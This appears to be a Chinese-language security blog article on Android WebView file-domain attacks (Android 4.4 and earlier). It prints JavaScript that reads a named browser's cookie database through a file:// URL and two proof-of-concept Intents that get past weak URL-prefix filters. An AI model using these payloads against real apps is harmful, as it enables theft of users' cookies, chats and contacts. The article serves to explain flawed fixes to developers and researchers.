現在越來越多Android App使用了WebView,針對WebView的攻擊也多樣化。這里簡單介紹下目前的WebView File域攻擊一些常用的方法,并重點舉例說明下廠商修復后依然存在的一些問題。(影響Android 4.4及以下)
我們知道,在Android JELLY_BEAN以下版本中,如果WebView沒有禁止使用file域,并且WebView打開了對JavaScript的支持,我們就能夠使用file域進行攻擊。
在File域下,能夠執行任意的JavaScript代碼,同源策略跨域訪問能夠對私有目錄文件進行訪問等。APP中如果使用的WebView組件未對file協議頭形式的URL做限制,會導致隱私信息泄露。針對IM類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的會是cookie等信息泄露。
譬如之前Wooyun上爆了一個利用file域攻擊的漏洞( WooYun: 360手機瀏覽器缺陷可導致用戶敏感數據泄漏 )
代碼如下:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 獲取本地文件代碼
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
WebKit 有跨域訪問的檢查,它的規則是 ajax 訪問相同 path 的文件就 allow,否則 deny。利用符號鏈接,把相同文件名指向了隱私文件,會造成同源策略檢查失效。攻擊者通過本地文件使用符號鏈接和File URL結合,利用該漏洞繞過同源策略,進而進行跨站腳本攻擊或獲得密碼和cookie信息。
在JELLY_BEAN及以后的版本中不允許通過File url加載的Javascript讀取其他的本地文件,不允許通過File url加載的Javascript可以訪問其他的源,包括其他的文件和http,https等其他的源。那么我們要在通過File url中的javascript仍然有方法訪問其他的本地文件,即通過符號鏈接攻擊可以達到這一目的,前提是允許File url執行javascript。
目前所知,通過使用符號鏈接同源策略繞過可以使file域攻擊影響到Android 4.4,進一步擴大了攻擊范圍。
這個典型的漏洞分析可以看下參考欄中的【2】
自13年file域導致的安全問題受到關注后,一些廠商進行了相應的修復。因為一些開發者的認識程度以及可能產品實際需求,雖然各種廠商針對性做了不少patch的工作,但是仍然出現了各種問題。當然,這里的前提是WebView 沒有禁用file協議也沒有禁止調用javascript,即WebView中setAllowFileAccess(true)和setJavaScriptEnabled(true)。我們舉幾個例子說明如下:
A、某app修復的時候,在某個過程中判斷url是否以file:///
開頭,如果是的話就返回,不是的話,再loadUrl
乍看這個修復,認為已經能夠防止file域攻擊問題了。但是,忽略了一個問題,如果我們在file:///
前面添加空格,是否還仍然能夠正常loadUrl。嘗試后發現會修正下協議頭,也就是說file域前面添加空格,是能夠正常訪問的。于是我們構造了如下POC就能夠繞過這個限制:
Intent i = new Intent();
i.setClassName("xxx.xxx.xxx","xxx.xxx.xxx.xxxxxx");
i.putExtra("url", " file:///mnt/sdcard/filedomain.html"); //file域前面增加空格
startActivity(i);
B、很自然,有些開發者就想trim去空格就可以修復了,于是我們又看到下面這個例子
這種修復方式,一般認為已經解決了前面說明的問題了。但是,這里頭存在一個技巧,即協議頭不包括///
,還是仍然能夠正常loadUrl。看下我們構造了如下POC就能夠繞過這個限制:
Intent i = new Intent();
i.setClassName("xxx.xxx.xxx","xxx.xxx.xxx.xxxxxx");
i.putExtra("url", "file:mnt/sdcard/filedomain.html"); //file域跟mnt之間沒有空格的情況
startActivity(i);
通過這兩個簡單的例子,從細節可以看到雖然現在越來越多的開發者注意到file域攻擊的一些問題,也進行了相應的對抗措施,但是仍然還有不少因修復不善導致的繞過的方法,根源還是在于要獲取協議頭的問題。
總結一下這類問題的修復
File域下攻擊的問題,現在已經算是老生常談了,但是依然還存在很多猥瑣的手段來利用。這里不一一說明了,總之思想有多遠,攻擊面就有多寬!Have Fun!